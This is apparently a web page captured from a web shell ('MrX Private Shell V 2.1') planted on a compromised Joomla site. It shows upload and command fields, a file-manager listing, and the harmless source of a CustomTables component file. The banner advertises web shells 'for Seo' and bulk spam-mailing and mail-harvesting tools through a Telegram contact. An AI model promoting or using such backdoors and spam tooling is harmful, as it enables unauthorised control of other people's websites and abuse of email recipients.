__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component and WordPress 6.x Plugin
 * @package Custom Tables
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/

// no direct access
defined('_JEXEC') or die();

use CustomTables\Inputbox;

class ESInputBox
{
	var string $requiredLabel = '';
	var CustomTables\CT $ct;

	function __construct(CustomTables\CT &$ct)
	{
		$this->ct = &$ct;
		$this->requiredLabel = 'COM_CUSTOMTABLES_REQUIREDLABEL';
	}

	function renderFieldBox(array $fieldrow, ?array $row, array $option_list, string $onchange = ''): ?string
	{
		$Inputbox = new Inputbox($this->ct, $fieldrow, $option_list, false, $onchange);

		/*

		$realFieldName = $fieldrow['realfieldname'];

		if ($this->ct->Env->frmt == 'json') {
			//This is the field options for JSON output

			$shortFieldObject = Fields::shortFieldObject($fieldrow, ($row[$realFieldName] ?? null), $option_list);

			if ($fieldrow['type'] == 'sqljoin') {
				$typeParams = CTMiscHelper::csv_explode(',', $fieldrow['typeparams']);

				if (isset($option_list[2]) and $option_list[2] != '')
					$typeParams[2] = $option_list[2];//Overwrites field type filter parameter.

				$typeParams[6] = 'json'; // to get the Object instead of the HTML element.

				$attributes_ = '';
				$value = '';
				$place_holder = '';
				$class = '';

				$list_of_values = HTMLHelper::_('ESSQLJoin.render',
					$typeParams,
					$value,
					false,
					$this->ct->Languages->Postfix,
					$this->ct->Env->field_input_prefix . $fieldrow['fieldname'],
					$place_holder,
					$class,
					$attributes_);

				$shortFieldObject['value_options'] = $list_of_values;
			}

			return $shortFieldObject;
		}
		*/

		$value = $Inputbox->getDefaultValueIfNeeded($row);

		return $Inputbox->render($value, $row);
	}
}

Filemanager

Name Type Size Permission Actions
codemirror Folder 0775
customtables Folder 0775
extratasks Folder 0775
fieldtypes Folder 0775
js Folder 0775
tagprocessor Folder 0775
twig Folder 0775
virtualselect Folder 0775
ct-common-joomla.php File 22.88 KB 0664
ct-database-joomla.php File 37.47 KB 0664
esinputbox.php File 1.95 KB 0664
importcsv.php File 12.15 KB 0664
layout.php File 2.61 KB 0664
layouteditor.php File 6.4 KB 0664
pagination.php File 18.72 KB 0664
unused-exportusergroups.php File 3.35 KB 0664
uploader.php File 12.73 KB 0664
Filemanager